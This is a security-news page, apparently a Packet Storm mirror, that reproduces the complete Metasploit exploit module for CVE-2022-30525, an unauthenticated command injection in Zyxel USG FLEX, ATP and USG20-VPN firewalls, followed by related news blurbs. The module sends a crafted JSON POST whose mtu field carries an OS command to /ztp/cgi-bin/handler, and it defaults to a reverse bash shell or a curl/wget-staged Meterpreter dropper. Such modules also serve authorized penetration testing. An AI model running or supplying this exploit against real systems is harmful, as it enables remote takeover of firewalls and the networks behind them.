Security
Headlines
HeadlinesLatestCVEs

Headline

Zyxel Firewall ZTP Unauthenticated Command Injection

This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below.

Packet Storm
#vulnerability#linux#js#git#xpath#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',        'Description' => %q{          This module exploits CVE-2022-30525, an unauthenticated remote          command injection vulnerability affecting Zyxel firewalls with zero          touch provisioning (ZTP) support. By sending a malicious setWanPortSt          command containing an mtu field with a crafted OS command to the          /ztp/cgi-bin/handler page, an attacker can gain remote command execution          as the nobody user.          Affected Zyxel models are:          * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below          * USG20-VPN and USG20W-VPN using firmware 5.21 and below          * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below        },        'License' => MSF_LICENSE,        'Author' => [          'jbaines-r7' # Vulnerability discovery and Metasploit module        ],        'References' => [          [ 'CVE', '2022-30525' ],          [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']        ],        'DisclosureDate' => '2022-04-28',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_MIPS64,],        'Privileged' => false,        'Targets' => [          [            'Shell Dropper',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_MIPS64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'curl', 'wget' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  # Checks the build date that is embedded in the landing page. If it finds a build  # date older than April 20, 2022 then it will additionally check if the model is  # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this  # seems like a reasonable approach.  def check    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))    unless res      return CheckCode::Unknown('The target failed to respond to check.')    end    unless res.code == 200      return CheckCode::Safe('Failed to retrieve /')    end    ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]    if ver.nil?      return CheckCode::Safe('Could not extract a version number')    end    if ver[0..5].to_i < 220420      model = res.get_html_document.xpath('//title').text      if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))        return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")      end    end    CheckCode::Safe("This determination is based on the build date string: #{ver}.")  end  def execute_command(cmd, _opts = {})    handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')    print_status("Sending command to #{handler_uri}")    # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too    # but it's more involved.    http_payload = {      'command' => 'setWanPortSt',      'proto' => 'dhcp',      'port' => Rex::Text.rand_text_numeric(4).to_s,      'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,      'vlanid' => Rex::Text.rand_text_numeric(4).to_s,      'mtu' => ";#{cmd};",      'data' => ''    }    res = send_request_cgi({      'method' => 'POST',      'uri' => handler_uri,      'headers' =>      {        'Content-Type' => 'application/json; charset=utf-8'      },      'data' => http_payload.to_json    })    # Successful exploitation can result in no response (connection being held open by a reverse shell)    # or, if the command executes immediately, a response with a 503.    if res && res.code != 503      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")    end    print_good('Command successfully executed.')  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  endend

Related news

New Findings Challenge Attribution in Denmark's Energy Sector Cyberattacks

The cyber attacks targeting the energy sector in Denmark last year may not have had the involvement of the Russia-linked Sandworm hacking group, new findings from Forescout show. The intrusions, which targeted around 22 Danish energy organizations in May 2023, occurred in two distinct waves, one which exploited a security flaw in Zyxel firewall (CVE-2023-28771) and a

Zyxel patches two critical vulnerabilities

Categories: Exploits and vulnerabilities Categories: News Zyxel has released a security advisory about two critical vulnerabilities that could allow an unauthorized, remote attacker to take control of its firewall devices. (Read more...) The post Zyxel patches two critical vulnerabilities appeared first on Malwarebytes Labs.

New DDoS Malware ‘Chaos’ Hits Linux and Windows Devices

By Deeba Ahmed Most devices infected by Chaos malware are located in Europe, particularly Italy but infections were also observed in Asia Pacific, South America, and North America. This is a post from HackRead.com Read the original post: New DDoS Malware ‘Chaos’ Hits Linux and Windows Devices

Chaos Malware Resurfaces With All-New DDoS & Cryptomining Modules

The previously identified ransomware builder has veered in an entirely new direction, targeting consumers and business of all sizes by exploiting known CVEs through brute-forced and/or stolen SSH keys.

Researchers Warn of New Go-based Malware Targeting Windows and Linux Systems

A new, multi-functional Go-based malware dubbed Chaos has been rapidly growing in volume in recent months to ensnare a wide range of Windows, Linux, small office/home office (SOHO) routers, and enterprise servers into its botnet. "Chaos functionality includes the ability to enumerate the host environment, run remote shell commands, load additional modules, automatically propagate through

Zyxel Firewall SUID Binary Privilege Escalation

This Metasploit module exploits CVE-2022-30526, a local privilege escalation vulnerability that allows a low privileged user (e.g. nobody) escalate to root. The issue stems from a suid binary that allows all users to copy files as root. This module overwrites the firewall's crontab to execute an attacker provided script, resulting in code execution as root. In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525. Known affected Zyxel models include USG FLEX (50, 50W, 100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.

Zyxel firewall vulnerabilities left business networks open to abuse

Severity of code execution bug mitigated by ‘high uptake’ of previous patch

Zyxel USG FLEX 5.21 Command Injection

Zyxel USG FLEX version 5.21 suffers from a command injection vulnerability.

Zyxel Issues Patches for 4 New Flaws Affecting AP, API Controller and Firewall Devices

Zyxel has released patches to address four security flaws affecting its firewall, AP Controller, and AP products to execute arbitrary operating system commands and steal select information. The list of security vulnerabilities is as follows - CVE-2022-0734 - A cross-site scripting (XSS) vulnerability in some firewall versions that could be exploited to access information stored in the user's

Watch Out! Hackers Begin Exploiting Recent Zyxel Firewalls RCE Vulnerability

Image source: z3r00t The U.S. Cybersecurity and Infrastructure Security Agency on Monday added two security flaws, including the recently disclosed remote code execution bug affecting Zyxel firewalls, to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation. Tracked as CVE-2022-30525, the vulnerability is rated 9.8 for severity and relates to a command injection flaw

Critical Zyxel Firewall Bug Under Active Attack After PoC Exploit Debut

Just one day after disclosure, cyberattackers are actively going after the command-injection/code-execution vulnerability in Zyxel's gear.

Zyxel Releases Patch for Critical Firewall OS Command Injection Vulnerability

Zyxel has moved to address a critical security vulnerability affecting Zyxel firewall devices that enables unauthenticated and remote attackers to gain arbitrary code execution. "A command injection vulnerability in the CGI program of some firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device," the company said in an advisory

CVE-2022-30525: Zyxel security advisory for OS command injection vulnerability of firewalls

A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

CVE-2022-30525: Zyxel security advisory for OS command injection vulnerability of firewalls

A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution